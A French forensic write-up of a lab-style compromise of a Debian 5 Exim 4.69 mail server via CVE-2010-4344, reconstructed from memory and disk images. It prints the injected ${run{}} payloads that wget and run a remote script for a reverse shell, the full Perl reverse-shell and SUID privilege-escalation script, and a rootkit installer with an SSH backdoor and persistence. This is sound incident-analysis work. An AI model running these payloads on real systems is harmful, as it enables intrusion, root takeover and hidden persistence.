Rapport d'analyse - BE Forensic

Aurelien Pouilles, Baptiste Rébillard

19 décembre 2025

Table des matières

1 Découverte de l'environnement

Pour commencer, on va investiguer sur l'environnement. On monte l'image en `Read-Only` :

```
$ sudo mount -o loop,ro victoria-v8.sda1.img ./mnt
```

On récupère ensuite la distribution et sa version :

```
$ cat etc/issue
Debian GNU/Linux 5.0 \n \l
```

Pour identifier la version du noyau :

```
$ ls lib/modules/2.6.26-2-686/
```

Ou bien en consultant le répertoire `/boot` :

```
$ ll boot/
total 8.4M
-rw-r--r-- 1 root root  90K 25 nov.   2010 config-2.6.26-2-686
drwxr-xr-x 2 root root 4,0K 18 janv.  2011 grub
-rw-r--r-- 1 root root 5,9M 18 janv.  2011 initrd.img-2.6.26-2-686
-rw-r--r-- 1 root root 908K 25 nov.   2010 System.map-2.6.26-2-686
-rw-r--r-- 1 root root 1,5M 25 nov.   2010 vmlinuz-2.6.26-2-686
```

On sait donc qu'il s'agit d'un Debian 5 utilisant le kernel Linux 2.6.

2 Les processus tournant dans la ram au moment de l'extinction

```
$ vol --plugins=plugins --profile=LinuxDebian5010x86 -f victoria-v8.memdump.img linux_psaux
Volatility Foundation Volatility Framework 2.6
Pid    Uid    Gid    Arguments

1      0      0      init [2]
2      0      0      [kthreadd]
3      0      0      [migration/0]
4      0      0      [ksoftirqd/0]
5      0      0      [watchdog/0]
6      0      0      [events/0]
7      0      0      [khelper]
39     0      0      [kblockd/0]
41     0      0      [kacpid]
42     0      0      [kacpi_notify]
86     0      0      [kseriod]
123    0      0      [pdflush]
124    0      0      [pdflush]
125    0      0      [kswapd0]
126    0      0      [aio/0]
581    0      0      [ksuspend_usbd]
582    0      0      [khubd]
594    0      0      [ata/0]
595    0      0      [ata_aux]
634    0      0      [scsi_eh_0]
```

```
700    0      0      [kjournald]
776    0      0      udevd --daemon
1110   0      0      [kpsmoused]
1429   1      1      /sbin/portmap
1441   102    0      /sbin/rpc.statd
1624   0      0      dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclient.eth0.l
1661   0      0      /usr/sbin/rsyslogd -c3
1672   0      0      /usr/sbin/acpid
1687   0      0      /usr/sbin/sshd
1942   101    103    /usr/sbin/exim4 -bd -q30m
1973   0      0      /usr/sbin/cron
1990   0      0      /bin/login --
1992   0      0      /sbin/getty 38400 tty2
1994   0      0      /sbin/getty 38400 tty3
1996   0      0      /sbin/getty 38400 tty4
1998   0      0      /sbin/getty 38400 tty5
2000   0      0      /sbin/getty 38400 tty6
2042   0      0      -bash
2065   0      0      sh
2168   0      0      memdump
2169   0      0      nc 192.168.56.1 8888
```

On remarque un nc ce qui pourrait être un reverseshell, une exfiltration de données, ou autre (nous verrons cela par la suite). Nous remarquons aussi la présence exim4 qui est un serveur messagerie SMTP. On en déduit donc que la machine analysée est un serveur de mail.

3 Un tour dans l'historique

On cherche à récupérer le contenu de l'historique de commandes afin de comprendre ce qu'il se passe. On l'obtient avec la commande linux_bash de volatility. On peut aussi le récupérer dans l'image disque à `/root/.bash_history`

```
Volatility Foundation Volatility Framework 2.6
Pid  Name            Command Time                   Command
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get remove exim4
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-base
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-daemon-light
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-config
2042 bash      2011-02-06 14:04:39 UTC+0000   ls -a
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg --purge
2042 bash      2011-02-06 14:04:39 UTC+0000   pwd
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get remove exim
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
2042 bash      2011-02-06 14:04:39 UTC+0000   mkdir exim4
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-config_4.69-9_all.deb
2042 bash      2011-02-06 14:04:39 UTC+0000   cd exim4/
2042 bash      2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exmi4/* .
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i --ignore-depends=exim4-base,exim4-daemon-l
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i exim4_4.69-9_all.deb
2042 bash      2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking restart
2042 bash      2011-02-06 14:04:39 UTC+0000   ifconfig
2042 bash      2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking start
```

```
2042 bash      2011-02-06 14:04:39 UTC+0000   halt
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
2042 bash      2011-02-06 14:04:39 UTC+0000   cd /etc/exim4/
2042 bash      2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exim4/* .
2042 bash      2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-daemon-light_4.69-9_i386.deb
2042 bash      2011-02-06 14:04:39 UTC+0000   cd ..
2042 bash      2011-02-06 14:04:39 UTC+0000   ls
2042 bash      2011-02-06 14:04:39 UTC+0000   rm -rf exim4/
2042 bash      2011-02-06 14:04:39 UTC+0000   vi .bash
2042 bash      2011-02-06 14:04:39 UTC+0000   vi .ssh/known_hosts
2042 bash      2011-02-06 14:04:39 UTC+0000   vi .bash_history
2042 bash      2011-02-06 14:04:39 UTC+0000   vi update-exim4.conf.conf
2042 bash      2011-02-06 14:04:39 UTC+0000   update-exim4.conf
2042 bash      2011-02-06 14:04:39 UTC+0000   halt
2042 bash      2011-02-06 14:04:39 UTC+0000   reboot
2042 bash      2011-02-06 14:04:39 UTC+0000   whereis gcc
2042 bash      2011-02-06 14:04:39 UTC+0000   whereis memdump
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install memdump
2042 bash      2011-02-06 14:04:39 UTC+0000   halt
2042 bash      2011-02-06 14:04:39 UTC+0000   ifconfig
2042 bash      2011-02-06 14:04:39 UTC+0000   ping 192.168.56.1
2042 bash      2011-02-06 14:04:39 UTC+0000   mount
2042 bash      2011-02-06 14:04:39 UTC+0000   sudo dd if=/dev/sda | nc 192.168.56.1 4444
2042 bash      2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda | nc 192.168.56.1 4444
2042 bash      2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 4444
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install memdump
2042 bash      2011-02-06 14:04:39 UTC+0000   netstat  -ant
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install ddrescue
2042 bash      2011-02-06 14:04:39 UTC+0000   apt-get install dcfldd
2042 bash      2011-02-06 14:04:39 UTC+0000   ls /dev/kmem
2042 bash      2011-02-06 14:04:39 UTC+0000   ls /dev/mem
2042 bash      2011-02-06 14:04:39 UTC+0000   halt
2042 bash      2011-02-06 14:04:39 UTC+0000   ifconfig
2042 bash      2011-02-06 14:04:39 UTC+0000   ifconfig
2042 bash      2011-02-06 14:04:39 UTC+0000   reboot
2042 bash      2011-02-06 14:04:46 UTC+0000   ifconfig
2042 bash      2011-02-06 14:24:43 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 8888
2042 bash      2011-02-06 14:42:29 UTC+0000   memdump | nc 192.168.56.1 8888
```

Ici on observe beaucoup de commandes liées à la mise en place du challenge avec la suppression de exim4, l'installation d'une version 4.69 probablement vulnérable. On observe aussi un memdump pour la mise en place du challenge. Néanmoins on peut garder en tête l'IP 192.168.56.1 associé à des netcat pour l'extraction du système, ce dump peut aussi être dû à l'attaquant.

4 Analyse réseaux

```
$volatility_2.6_lin64_standalone/volatility_2.6_lin64_standalone --info | grep linux | grep net
Volatility Foundation Volatility Framework 2.6
linux_check_afinfo         - Verifies the operation function pointers of network protocols
linux_netscan              - Carves for network connection structures
linux_netstat              - Lists open sockets
```

En lançant un netstat, on obtient :

```
$ vol --plugins=plugins --profile=LinuxDebian5010x86 -f victoria-v8.memdump.img linux_netstat
Volatility Foundation Volatility Framework 2.6
UNIX 2190                 udevd/776

UDP      0.0.0.0         :  111 0.0.0.0         :    0                          portmap/1429
TCP      0.0.0.0         :  111 0.0.0.0         :    0 LISTEN                   portmap/1429
UDP      0.0.0.0         :  769 0.0.0.0         :    0                        rpc.statd/1441
UDP      0.0.0.0         :38921 0.0.0.0         :    0                        rpc.statd/1441
TCP      0.0.0.0         :39296 0.0.0.0         :    0 LISTEN                 rpc.statd/1441
UDP      0.0.0.0         :   68 0.0.0.0         :    0                        dhclient3/1624
UNIX 5069             dhclient3/1624

UNIX 4617              rsyslogd/1661  /dev/log
UNIX 4636                 acpid/1672  /var/run/acpid.socket
UNIX 4638                 acpid/1672

TCP      ::              :   22 ::              :    0 LISTEN                     sshd/1687
TCP      0.0.0.0         :   22 0.0.0.0         :    0 LISTEN                     sshd/1687
TCP      ::              :   25 ::              :    0 LISTEN                    exim4/1942
TCP      0.0.0.0         :   25 0.0.0.0         :    0 LISTEN                    exim4/1942
UNIX 5132                 login/1990

TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
TCP      192.168.56.102  :56955 192.168.56.1    : 8888 ESTABLISHED                 nc/2169
```

On identifie l'adresse : `192.168.56.102` comme l'adresse de notre machine. On observe bien les ports `4444` et `8888` qui vont vers `192.168.56.1` On remarque également le port `25` (SMTP - mail) que la machine cible écoute. Donc exim4 visiblement écoute sur le port `25`, c'est un serveur de messagerie. Sur ce port, on voit une connexion précédente avec `192.168.56.101`. Ainsi comme on sait que l'on a une vulnérabilité sur notre serveur de mail, on peut supposer que l'attaquant vienne de `192.168.56.101`.

5 Analyse Exim4

On regarde donc les logs de exim4 et on remarque que des injections qui semblent bien provenir de `192.168.56.101` :

```
$ cat /log/exim4/mainlog
2011-01-18 09:31:33 exim 4.69 daemon started: pid=1946, -q30m, listening for SMTP
     on [127.0.0.1]:25
...
2011-02-06 15:07:13 1Pm5GZ-0000X2-Dc rejected from <root@local.com> H=(abcde.com)
     [192.168.56.101]: message too big: read=52724820 max=52428800
...
2011-02-06 15:08:13 H=(abcde.com) [192.168.56.101] temporarily rejected MAIL <
    root@local.com>: failed to expand ACL string "pl 192.168.56.1 4444; sleep
    1000000'"}} ${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl
    -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}}
...
```

L'analyse des logs du serveur met en évidence une exploitation du mécanisme d'expansion des ACL SMTP d'Exim. La présence de la fonction ${run{}} injectée dans des champs SMTP, combinée à l'utilisation d'Exim version 4.69, permet d'identifier formellement la

vulnérabilité CVE-2010-4344, connue pour permettre une exécution de code arbitraire à distance sans authentification. Cette CVE est confirmée dans les logs de `exim4/paniclog` :

```
2011-02-06 15:11:43 string too large in smtp_notquit_exit()
...
2011-02-06 15:20:20 string too large in smtp_notquit_exit()
```

Il s'agit d'une CVE critique assez connue sur Exim4. Il existe même un module Metasploit pour l'exploiter (`exploit/unix/smtp/exim4_string_format`).

6 Investigation de la killchain

Dans les logs, on observe plusieurs commandes permettant de télécharger des fichiers dans le dossier `/tmp` et de les lancer avec comme argument un port et une IP : celle de l'attaquant (pour faire un revershell) :

```
${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl
192.168.56.1 4444; sleep 1000000'"}}

${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/rk.tar -O /tmp/rk.tar; sleep 1000'"}
```

Analyse de c.pl

Le script `c.pl` a été compilé a 15h07 :

```
$ stat var/spool/exim4/s
  Fichier : s
   Taille : 6759       Blocs : 16         Blocs d'E/S : 4096   fichier régulier
Périphérique : 7/0 Inœud : 15030       Liens : 1
Accès : (4755/-rwsr-xr-x)  UID : (    0/    root)   GID : (    0/    root)
Contexte : system_u:object_r:unlabeled_t:s0
 Accès : 2011-02-06 15:07:16.000000000 +0100
Modif. : 2011-02-06 15:07:16.000000000 +0100
Changt : 2011-02-06 15:07:16.000000000 +0100
  Créé : -
```

```
#!/usr/bin/perl

$system = '/bin/sh';
$ARGC=@ARGV;
if ($ARGC!=2) {
    print "Usage: $0 [Host] [Port] \n\n";
    die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

open FILE, ">/var/spool/exim4/s.c";
```

```
print FILE qq{
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
};
close FILE;

system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
open FILE, ">/tmp/e.conf";
print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod
close FILE;

system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
system("uname -a;");
system("/var/spool/exim4/s");
system($system);
```

L'analyse du code source du script `c.pl` montre qu'il s'agit d'un outil d'élévation de privilèges combiné à un accès à distance. Son fonctionnement se décompose en plusieurs étapes :

- **Reverse Shell :** Le script ouvre un socket vers l'IP de l'attaquant et redirige les entrées/sorties du système (`STDIN`, `STDOUT`) vers un shell.
- **Création d'une backdoor :** Le script écrit et compile le programme (`s.c`) dont le seul but est d'exécuter un shell avec les droits `root` via les fonctions `setuid(0)` et `setgid(0)`.
- **Élévation de privilèges :** Pour que ce programme fonctionne, l'attaquant utilise une configuration détournée d'Exim4 (`e.conf`) pour forcer le système à donner la propriété du fichier à `root` et à activer le bit `SUID` (`chmod 4755`).

Ce script confirme que l'attaquant a réussi à passer root sur la machine. Comme chaque commande est executé avec `/bin/sh` via un `system` ou via un socket directement, donc aucun log de ces commande n'est inséré dans le `.bash_history` car ce n'est pas un shell interactif. Cependant on note ici que `192.168.56.1` est la cible du reverse shell, il s'agit de la deuxième IP de l'attaquant avec `192.168.56.102` qui lui a permis de lancer l'attaque.

6.1 Analyse du maliciel rk.tar

Déjà on remarque que l'archive semble avoir terminé son téléchargement vers 15h19 :

```
$ stat rk.tar
  Fichier : rk.tar
   Taille : 4421289    Blocs : 8664       Blocs d'E/S : 4096   fichier régulier
Périphérique : 7/0 Inœud : 39467       Liens : 1
Accès : (0600/-rw-------)  UID : (  101/ UNKNOWN)   GID : (  103/   clock)
Contexte : system_u:object_r:unlabeled_t:s0
 Accès : 2014-06-19 16:10:56.000000000 +0200
Modif. : 2011-01-18 08:55:26.000000000 +0100
Changt : 2011-02-06 15:19:20.000000000 +0100
  Créé : -
```

```
rk
├── dropbear
├── install.sh
├── mig
├── procps
│   ├── free
│   ├── kill
│   ├── pgrep
│   ├── pkill
│   ├── pmap
│   ├── ps
│   ├── pwdx
│   ├── skill
│   ├── slabtop
│   ├── snice
│   ├── sysctl
│   ├── tload
│   ├── top
│   ├── uptime
│   ├── vmstat
│   ├── w
│   └── watch
└── vars.sh
```

install.sh :

```
#!/bin/bash
IFS='
'
umask 0022
if [ ! -f vars.sh ]
then
    echo "Can't find vars.sh, exiting"
    exit
fi
source vars.sh
mkdir -p $rk_home_dir
cp dropbear $rk_home_dir
chmod +x $rk_home_dir/dropbear
chattr +ia $rk_home_dir/dropbear
cp busybox $rk_home_dir
chmod +x $rk_home_dir/busybox
chattr +ia $rk_home_dir/busybox
cp mig $rk_home_dir
chattr +ia $rk_home_dir/mig


if [ -x /etc/init.d/boot.local ]
then
    echo "autostart in /etc/init.d/boot.local"
    echo "$rk_home_dir/dropbear " >> /etc/init.d/boot.local
    echo "/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP" >> /etc/init.d/boot.local
fi


if [ -x /etc/rc.d/rc.local ]
```

```
then
    echo "autostart in /etc/rc.d/rc.local"
    echo  "$rk_home_dir/dropbear">> /etc/rc.d/rc.local
    echo "/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP" >> /etc/rc.d/rc.local
fi

dtest=`which update-rc.d`
if [ ! -z $dtest ]
then
    echo "debian like system"
    echo "$rk_home_dir/dropbear " >> /etc/init.d/xfs3
    echo "/usr/sbin/iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP" >> /etc/init.d/xfs3
    chmod +x /etc/init.d/xfs3
    update-rc.d xfs3 defaults
fi

$rk_home_dir/dropbear

################################### procps
for l in `ls procps`
do
    o=`which $l`
    if [ ! -z $o ]
    then
    chattr -ia $o
    rm -f $o
    cp procps/$l $o
    chattr +ia $o
    fi
done
mkdir -p /usr/include/mysql
echo dropbear >> /usr/include/mysql/mysql.hh1
if [ -f /sbin/ttymon ]
then
    echo "WARNING: SHV5/SHV4 RK DETECTED"
    chattr -ia /sbin/ttymon /sbin/ttyload
    rm -f /sbin/ttymon /sbin/ttyload
    kill -9 `pidof ttymon`
    kill -9 `pidof ttyload`
fi
iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
echo
echo
echo
echo "Don't forget to:"
echo "cd .."
echo "rm -rf rk rk.tbz2"
```

Le script `install.sh` confirme la nature de **rootkit** du maliciel par les actions suivantes :

- **Persistance système :** Il installe un service caché nommé `xfs3` qui lance `dropbear` (backdoor SSH) automatiquement au démarrage via `update-rc.d`.
- **Falsification des outils de diagnostic :** Il remplace les binaires standards du système (`ps`, `top`, `kill`) par des versions modifiées situées dans le dossier `procps`.
- **Dissimulation réseau :** Une règle `iptables` est ajoutée pour bloquer le trafic sur des ports spécifiques, complétant ainsi la dissimulation de l'attaque.

Dans les fait, aucune persistance n'est observable, c'est probablement qu'il n'a jamais été lancé, on notera même que le binaire iptables tel qu'il est apellé n'existe pas :

```
$ cat mnt/etc/init.d/boot.local
cat: mnt/etc/init.d/boot.local: Aucun fichier ou dossier de ce nom
$ cat mnt/etc/rc.d/rc.local
cat: mnt/etc/rc.d/rc.local: Aucun fichier ou dossier de ce nom
$ cat mnt/etc/init.d/xfs3
cat: mnt/etc/init.d/xfs3: Aucun fichier ou dossier de ce nom
$ cat mnt/usr/sbin/iptables
cat: mnt/usr/sbin/iptables: Aucun fichier ou dossier de ce nom
```

```
$ cat exim4/* | grep install
$ cat * | grep install
cat: apt: est un dossier
Will install 6 packages, and remove 0 packages.
Will install 81 packages, and remove 0 packages.
grep: (entrée standard) : fichiers binaires correspondent
cat: exim4: est un dossier
cat: fsck: est un dossier
cat: installer: est un dossier
cat: news: est un dossier
```

6.2 Analyse de la tentative de création d'utilisateur

La dernière commande envoyé par l'attaquant dans les logs de Exim est :

```
 ${run{/bin/sh -c "exec /bin/sh -c 'useradd --gid root --create-home
--password 0 0mkpasswd -H md5 Ulyss3s) ulysses'"}}
```

Cette commande tente de créer un user ulysses avec le mot de passe root "Ulyss3s" et appartenant au groupe root. Or la présence d'une typo avec un 0 collé à mkpasswd à fait échouer la création de l'user. On peut vérifier cet échec un `cat mnt/etc/passwd | grep ulysses` et l'absence de son dossier associé dans le `/home` :

```
$cat mnt/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
```

```
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
pepito:x:1000:1000:pepito,,,:/home/pepito:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
...
$ls -a mnt/home
.  ..  pepito
```

7 Déroulé chronologique de l'attaque

1. **Exploitation (15h07)** : Injection de commandes via la CVE-2010-4344. L'attaquant sature le buffer de la fonction `string_format` d'Exim4, permettant l'exécution de fonctions `${run{...}}` avec les privilèges de l'utilisateur `Debian-exim`.
2. **Staging (15h07)** : Récupération des outils via `wget` depuis le serveur de l'attaquant (`192.168.56.1`). Les fichiers `c.pl` (dropper/pivot) et `rk.tar` (téléchargé plus tard - vers 15h20) (rootkit) sont déposés dans `/tmp`, répertoire généralement monté sans l'option `noexec`.
3. **Établissement du Reverse Shell (15h08)** : Exécution de `perl c.pl 192.168.56.1 4444`. Le script utilise le module `Socket` de Perl pour ouvrir un flux TCP vers l'attaquant et redirige les descripteurs de fichiers standards (`STDIN`, `STDOUT`, `STDERR`) vers ce socket, offrant un shell interactif distant (mais toujours via un socket local d'où l'abscence de logs dans `.bash_history` ou `.zsh_history`).
4. **Élévation de privilèges (Privesc)** : Le script compile un binaire C (`s.c`) dans `/var/spool/exim4/`. Pour passer de `Debian-exim` à `root`, il utilise une seconde vulnérabilité de configuration d'Exim (`-C /tmp/e.conf`) pour forcer un `chown root` et un `chmod 4755` (bit SUID) sur ce binaire. L'exécution de `./s` permet alors l'obtention d'un shell avec un UID 0.
5. **Post-exploitation (15h19 - Échec)** : Tentative de création d'un utilisateur permanent (`ulysses`) via `useradd`. L'opération échoue suite à une erreur de syntaxe (`0mkpasswd`), empêchant la création de l'entrée correspondante dans `/etc/passwd`.
6. **Persistance et Dissimulation (15h19 - jamais lancé)** : Téléchargement d'un rootkit (jamais lancé).
   — Installation de `dropbear` sur le port 45295 (Backdoor SSH).
   — Modification des binaires de diagnostic (`ps`, `top`, `netstat`) pour masquer les processus et connexions de l'attaquant.
   — Persistence via `update-rc.d` (service `xfs3`) et modification de `rc.local`.

Hypothèse

Le `useradd` n'a pas fonctionné et l'attaquant n'a pas tenté de corriger son erreur, de plus le rootkit n'a jamais été déployé, on peux donc emettre quelques hypothèses :

1. L'attaquant a été pris d'une mort subite ou a eu la flemme de terminer : peu probable, d'autant plus qu'on peut remarquer des tentatives de connexion SSH vers 15h21.
2. L'attaquant a levé une alerte qui aurait provoqué une deconnexion.